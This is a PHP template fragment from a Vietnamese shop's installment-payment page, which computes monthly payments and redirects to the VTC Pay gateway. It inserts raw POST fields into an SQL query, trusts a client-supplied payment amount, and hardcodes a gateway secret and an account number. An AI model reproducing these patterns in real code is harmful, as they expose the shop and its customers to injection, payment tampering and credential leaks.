GUI_CURRENCY).'</span><br />'; ?> </td> <td> <?php if($item['selloff'] != 0){ $gop9thang = ( ($item['price'] - ($item['price'] * ($item['selloff']/100))) / 9 ) + ( $month['9thang'] * ($item['price'] - ($item['price'] * ($item['selloff']/100))) / 100 ); echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($gop9thang, GUI_CURRENCY).'</span><br />'; } else{ $gop9thang = ( $item['price'] / 9 ) + ( $month['9thang'] * $item['price'] / 100 ); echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($gop9thang, GUI_CURRENCY).'</span><br />'; } ?> </td> <td> <?php if($item['selloff'] != 0){ $gop12thang = ( ($item['price'] - ($item['price'] * ($item['selloff']/100))) / 12 ) + ( $month['12thang'] * ($item['price'] - ($item['price'] * ($item['selloff']/100))) / 100 ); echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($gop12thang, GUI_CURRENCY).'</span><br />'; } else{ $gop12thang = ( $item['price'] / 12 ) + ( $month['12thang'] * $item['price'] / 100 ); echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($gop12thang, GUI_CURRENCY).'</span><br />'; } ?> </td> </tr> <tr> <td>Tổng tiền trả góp</td> <td> <?php $tongtien6 = $gop6thang * 6; echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($tongtien6, GUI_CURRENCY).'</span><br />'; ?> </td> <td> <?php $tongtien9 = $gop9thang * 9; echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($tongtien9, GUI_CURRENCY).'</span><br />'; ?> </td> <td> <?php $tongtien12 = $gop12thang * 12; echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($tongtien12, GUI_CURRENCY).'</span><br />'; ?> </td> </tr> <tr> <td>Chênh lệch</td> <td> <?php $chenhlech6 = $tongtien6 - $item['price']; echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($chenhlech6, GUI_CURRENCY).'</span><br />'; ?> </td> <td> <?php if($item['selloff'] != 0){ $chenhlech9 = $tongtien9 - ($item['price'] - ($item['price'] * ($item['selloff']/100))); echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($chenhlech9, GUI_CURRENCY).'</span><br />'; } else{ $chenhlech9 = $tongtien9 - $item['price']; echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($chenhlech9, GUI_CURRENCY).'</span><br />'; } ?> </td> <td> <?php if($item['selloff'] != 0){ $chenhlech12 = $tongtien12 - ($item['price'] - ($item['price'] * ($item['selloff']/100))); echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($chenhlech12, GUI_CURRENCY).'</span><br />'; } else{ $chenhlech12 = $tongtien12 - $item['price']; echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($chenhlech12, GUI_CURRENCY).'</span><br />'; } ?> </td> </tr> <tr> <td></td> <td><div class="area_order"><button style="width:auto;margin-left: auto;margin-right: auto;" name="btnchonmua" id="buy" class="btOrange buttonB" value="<?php echo $gop6thang.",6,".$tongtien6; ?>">chọn mua</button></div></td> <td><div class="area_order"><button style="width:auto;margin-left: auto;margin-right: auto;" name="btnchonmua" id="buy" class="btOrange buttonB" value="<?php echo $gop9thang.",9,".$tongtien9; ?>">chọn mua</button></div></td> <td><div class="area_order"><button style="width:auto;margin-left: auto;margin-right: auto;" name="btnchonmua" id="buy" class="btOrange buttonB" value="<?php echo $gop12thang.",12,".$tongtien12; ?>">chọn mua</button></div></td> </tr> <?php } } else { echo "Lỗi CSDL"; } ?> </table> <div class="clear"></div> <br> <!--điền thông tin khi chọn thanh toán bằng chuyển khoản--> <div class="onecheckout col-sm-6 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"> <input required type="text" name="txttindungName" id="txttindungName" class="large-field" placeholder="* Họ tên"><br> </div> </div> </div> <div class="onecheckout col-sm-6 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"> <input required type="text" pattern="[0-9]{10,13}" name="txttindungPhone" id="txttindungPhone" class="large-field" placeholder="* Số điện thoại"><br> </div> </div> </div> <div class="onecheckout col-sm-12 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"> <input required type="text" name="txttindungAddress" id="txttindungAddress" class="large-field" placeholder="* Địa chỉ"><br> </div> </div> </div> <?php } ?> </div> </form> <?php //thanh toán vtcpay if(isset($_POST['btnchonmua'])) { /* Define('vtc_secret', 'Webhaido@halink2019.vn'); Define('vtc_destinationUrl', 'http://alpha1.vtcpay.vn/portalgateway/checkout.html'); Define('method', 'DomesticBank'); Define('urlReturn', 'http://le.halink.vn/webhaido/thanh-toan'); Define('receiver_account', '0963465816'); Define('websiteID', '124289'); */ //thông tin của KH. $tenkhtragop = $_POST['txttindungName']; $phonekhtragop = $_POST['txttindungPhone']; $diachikhtragop = $_POST['txttindungAddress']; $getInfoMoney = explode(',' , $_POST['btnchonmua']); $tindunggopmoithang = $getInfoMoney[0]; $tindungsothang = $getInfoMoney[1]; $tindungtongtien = $getInfoMoney[2]; $gopmoithangtragop = number_format($tindunggopmoithang,0,'.','.')."đ (trong ".$tindungsothang." tháng)"; $tongtientragop = number_format($tindungtongtien,0,'.','.')."đ"; $vtc_destinationUrl = 'http://alpha1.vtcpay.vn/portalgateway/checkout.html'; $method = 'DomesticBank'; $get_user_id = date('dmY'); $language = 'vi'; $orderID = strtoupper($get_user_id.'DH'.uniqid()); $currency = 'VND'; $uid = $get_user_id; $receiver_account = '0963465816'; $urlReturn = 'http://dev.projectmvc.com/ket-qua-tra-ve.html'; $destinationUrl = $vtc_destinationUrl; $secret = 'Webhaido@halink2019.vn'; $websiteID = '124289'; $plaintext = $tindungtongtien."|".$currency."|".$method."|". $receiver_account."|".$orderID."|".$urlReturn."|".$websiteID.'|'.$secret; $sign = strtoupper(hash('sha256', $plaintext)); $data = "?currency=" . $currency . "&website_id=" . $websiteID . "&reference_number=" . $orderID . "&amount=" . $tindungtongtien ."&receiver_account=" . $receiver_account. "&url_return=" . urlencode($urlReturn). "&signature=" . $sign. "&payment_type=" . $method; $destinationUrl = $destinationUrl . $data; //thêm mới vào csdl. $queryInsert = DB::query("INSERT INTO tragopquathe(orderid, name, phone, address, paymonth, totalmoney, status) VALUES('$orderID', '$tenkhtragop', '$phonekhtragop', '$diachikhtragop', '$gopmoithangtragop', '$tongtientragop', 'Chưa thanh toán')"); header('Location: '.$destinationUrl.''); } ?> </div> </div> <script> //tab1 /*function openCity(evt, cityName) { var i, tabcontent, tablinks; tabcontent = document.getElementsByClassName("tabcontent"); for (i = 0; i < tabcontent.length; i++) { tabcontent[i].style.display = "none"; } tablinks = document.getElementsByClassName("tablinks"); for (i = 0; i < tablinks.length; i++) { tablinks[i].className = tablinks[i].className.replace(" active", ""); } document.getElementById(cityName).style.display = "block"; evt.currentTarget.className += " active"; }*/ </script> <script> var div = document.getElementById("datatable"); div.setAttribute("tabindex", 1); div.focus(); </script> <script> var div = document.getElementById("taichinh"); div.setAttribute("tabindex", 1); div.focus(); </script> <!--chỗ click chi tiết hiện nội dung ẩn--> <script> $(document).ready(function() { $('.hidecontent').click(function() { $('.showhide').slideToggle("fast"); }); }); </script> </div> </div>
Close